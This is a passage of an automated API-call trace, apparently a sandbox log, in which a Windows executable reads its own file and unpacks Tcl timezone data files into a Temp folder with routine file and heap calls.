lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Anadyr", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Anadyr", lpFilePart=0x0) returned 0x43 [0039.923] GetLastError () returned 0x2 [0039.923] SetLastError (dwErrCode=0x2) [0039.924] GetLastError () returned 0x2 [0039.924] SetLastError (dwErrCode=0x2) [0039.924] GetLastError () returned 0x2 [0039.924] SetLastError (dwErrCode=0x2) [0039.924] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Anadyr") returned 68 [0039.924] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.924] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Anadyr" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\anadyr"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.927] GetFileType (hFile=0x10c) returned 0x1 [0039.928] htonl (hostlong=0x4e080000) returned 0x84e [0039.928] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.928] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x84e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x84e, lpOverlapped=0x0) returned 1 [0039.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.929] CloseHandle (hObject=0x10c) returned 1 [0039.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.929] htonl (hostlong=0x30000000) returned 0x30 [0039.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.929] GetFileType (hFile=0x10c) returned 0x1 [0039.930] htonl (hostlong=0x82ad5a00) returned 0x5aad82 [0039.930] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f5d82, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.930] htonl (hostlong=0xcb010000) returned 0x1cb [0039.930] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cb) returned 0x550600 [0039.930] htonl (hostlong=0xcb010000) returned 0x1cb [0039.930] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.930] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.930] htonl (hostlong=0x94060000) returned 0x694 [0039.930] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x694) returned 0x55e278 [0039.930] htonl (hostlong=0xcb010000) returned 0x1cb [0039.930] htonl (hostlong=0x94060000) returned 0x694 [0039.930] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.930] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.930] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.930] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.930] CloseHandle (hObject=0x10c) returned 1 [0039.930] GetLastError () returned 0x0 [0039.930] SetLastError (dwErrCode=0x0) [0039.930] GetLastError () returned 0x0 [0039.930] SetLastError (dwErrCode=0x0) [0039.930] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.930] GetFileType (hFile=0x10c) returned 0x1 [0039.930] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.931] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.931] CloseHandle (hObject=0x10c) returned 1 [0039.931] GetLastError () returned 0x0 [0039.931] SetLastError (dwErrCode=0x0) [0039.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.931] GetFileType (hFile=0x10c) returned 0x1 [0039.931] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.931] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.931] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.931] CloseHandle (hObject=0x10c) returned 1 [0039.931] GetLastError () returned 0x0 [0039.931] SetLastError (dwErrCode=0x0) [0039.932] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.932] GetFileType (hFile=0x10c) returned 0x1 [0039.932] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.932] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.932] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.932] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.932] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.932] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.932] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.932] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.932] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.932] CloseHandle (hObject=0x10c) returned 1 [0039.932] GetLastError () returned 0x0 [0039.932] SetLastError (dwErrCode=0x0) [0039.932] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtau") returned 67 [0039.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\aqtau"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.932] GetLastError () returned 0x2 [0039.932] SetLastError (dwErrCode=0x2) [0039.932] GetLastError () returned 0x2 [0039.932] SetLastError (dwErrCode=0x2) [0039.932] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtau", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtau", lpFilePart=0x0) returned 0x42 [0039.932] GetLastError () returned 0x2 [0039.932] SetLastError (dwErrCode=0x2) [0039.932] GetLastError () returned 0x2 [0039.933] SetLastError (dwErrCode=0x2) [0039.933] GetLastError () returned 0x2 [0039.933] SetLastError (dwErrCode=0x2) [0039.933] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtau") returned 67 [0039.933] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.933] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\aqtau"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.933] GetFileType (hFile=0x10c) returned 0x1 [0039.933] htonl (hostlong=0x94060000) returned 0x694 [0039.933] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.933] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x694, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x694, lpOverlapped=0x0) returned 1 [0039.934] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.934] CloseHandle (hObject=0x10c) returned 1 [0039.935] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.935] htonl (hostlong=0x30000000) returned 0x30 [0039.935] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.935] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.935] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.935] GetFileType (hFile=0x10c) returned 0x1 [0039.935] htonl (hostlong=0x4daf5a00) returned 0x5aaf4d [0039.935] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f5f4d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.935] htonl (hostlong=0xb6010000) returned 0x1b6 [0039.935] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b6) returned 0x550600 [0039.935] htonl (hostlong=0xb6010000) returned 0x1b6 [0039.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.936] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.936] htonl (hostlong=0x78060000) returned 0x678 [0039.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x678) returned 0x55e278 [0039.936] htonl (hostlong=0xb6010000) returned 0x1b6 [0039.936] htonl (hostlong=0x78060000) returned 0x678 [0039.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.936] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.936] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.936] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.936] CloseHandle (hObject=0x10c) returned 1 [0039.936] GetLastError () returned 0x0 [0039.936] SetLastError (dwErrCode=0x0) [0039.936] GetLastError () returned 0x0 [0039.936] SetLastError (dwErrCode=0x0) [0039.936] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.936] GetFileType (hFile=0x10c) returned 0x1 [0039.936] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.936] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.936] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.936] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.936] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.936] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.936] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.936] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.937] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.937] CloseHandle (hObject=0x10c) returned 1 [0039.937] GetLastError () returned 0x0 [0039.937] SetLastError (dwErrCode=0x0) [0039.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.937] GetFileType (hFile=0x10c) returned 0x1 [0039.937] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.937] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.937] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.937] CloseHandle (hObject=0x10c) returned 1 [0039.937] GetLastError () returned 0x0 [0039.937] SetLastError (dwErrCode=0x0) [0039.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.937] GetFileType (hFile=0x10c) returned 0x1 [0039.937] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.938] CloseHandle (hObject=0x10c) returned 1 [0039.938] GetLastError () returned 0x0 [0039.938] SetLastError (dwErrCode=0x0) [0039.938] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtobe") returned 68 [0039.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtobe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\aqtobe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.938] GetLastError () returned 0x2 [0039.938] SetLastError (dwErrCode=0x2) [0039.938] GetLastError () returned 0x2 [0039.938] SetLastError (dwErrCode=0x2) [0039.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtobe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtobe", lpFilePart=0x0) returned 0x43 [0039.938] GetLastError () returned 0x2 [0039.938] SetLastError (dwErrCode=0x2) [0039.938] GetLastError () returned 0x2 [0039.938] SetLastError (dwErrCode=0x2) [0039.938] GetLastError () returned 0x2 [0039.938] SetLastError (dwErrCode=0x2) [0039.938] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtobe") returned 68 [0039.938] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aqtobe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\aqtobe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, 